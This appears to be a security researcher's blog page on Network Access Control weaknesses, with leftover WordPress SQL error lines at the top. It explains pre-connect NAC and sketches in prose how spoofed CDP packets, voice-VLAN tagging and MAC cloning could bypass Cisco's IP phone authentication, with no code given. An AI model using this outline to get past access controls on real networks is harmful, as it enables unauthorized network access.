WordPress database error: [Duplicate entry '62552' for key 1]
INSERT INTO wp_bas_visitors (visit_ip, referer, osystem, useragent, lasthere) VALUES (644300604, 1, 745, 3655, '2008-10-11 20:22:17');
WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND referer = referer_id AND osystem = os_id AND useragent = ua_]
SELECT * FROM wp_bas_visitors, wp_bas_refer, wp_bas_ua, wp_bas_os WHERE visit_id = AND referer = referer_id AND osystem = os_id AND useragent = ua_id
WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '2008-10-11 20:22:17', 0, 1867)' at line 1]
INSERT INTO wp_bas_log (visit, stamp, outbound, page) VALUES (, '2008-10-11 20:22:17', 0, 1867);
I will be speaking at Defcon 15 about NAC vulnerabilities and bypass issues.
The talk has a considerable amount of new vulnerability information, which I have collected in the past year and kept quite about. So you should stay tuned for some interesting new stuff.
Don’t be a stranger and come say hello.
For those of you who are confused by the different terms, pre-connect NAC is the phase in which the identity of the device and the identity of its user are to be verified.
With pre-connect NAC any device trying to access the Enterprise LAN must be authorized, and the identity of the user using this device must be authenticated.
Pre-connect NAC allows disallowing access from rogue devices (non-authorized devices), and from unauthorized users.
Proving the identities of those using our infrastructure is a major piece with the overall security and control NAC is bringing along (Just as a reminder, pre-connect NAC is followed, usually, with posture validation tests, and post-connect capabilities).
Pre-connect must also deal with devices such as printers, VoIP phones, etc, which an identity of their user cannot be verified. Instead parameters regarding the device are those who should be verified (type of device, purpose, capabilities, etc.). These devices need to be constantly monitored so they would not be abused for an attack.
As demonstrated, pre-connect NAC has an important rule with NAC, and its values cannot be dismissed.
VoIP, IP Phones, and the gear from Cisco always fascinated me. In the past I have published several advisories and papers regarding vulnerabilities and security issues I have found with the Cisco IP Phone gear.
Looking into how Cisco handles IP Phones with their NAC solutions caused me to raise some interesting questions regarding it.
The IP phones identify/authenticate to Cisco NAC solutions using CDP packets. These packets can be easily spoofed. Usually a computer will be hooked to the IP Phone. The IP phone would assign a different VLAN tag for traffic from the IP phone, and a different VLAN tag for the computer date. What if a hub is connected to the wall, the computer is disconnected from the IP phone and now is connected to the hub and uses the VLAN tag of the Voice VLAN? What if the computer spoof an “authenticating” CDP packet?
Not even mentioning the fact the IP phone can be disconnected and the computer may completely abused its MAC address and the special authentication way of it.
You get the picture.
Tim Green over at NetworkWorld has interviewed me for an article with an interesting story. A sophomore student over at the University of Portland was recently suspended for a year since he managed to find a way to circumvent Cisco’s Clean Access NAC. The student managed to find several vulnerabilities with Cisco’s CCA circumventing it to believe its operating system and A/V adhere to the network access policy, where in truth they were not.
Some more information can be read at The Beacon, the students paper over at the University of Portland.
This story, and others, that were published recently, demonstrates how a questionable device, that is not trusted as is, may falsify information part of a posture validation check. This proves one of the points I have raised during my summer BlackHat 2006 presentation were I have raised these same issues.
The first lesson you learn with information security is that there is no such thing as client-based security.
It is not news that IDS/IPS vendors are trying to jump on the NAC bandwagon. The problem there is that usually some of these vendors tie between a specific functionality they might have with their product (like abnormality detection or intrusion detection) with enforcement to declare they are now doing NAC.
To me this seems as a non-complete product.
According to my definition, at its basis, a network access control solution must ensure that only authorized and compliant devices are allowed to access and operate on the enterprise network.
I do not think that just by providing the linkage with certain functionality (which may or may not be important to NAC) makes these vendors NAC players…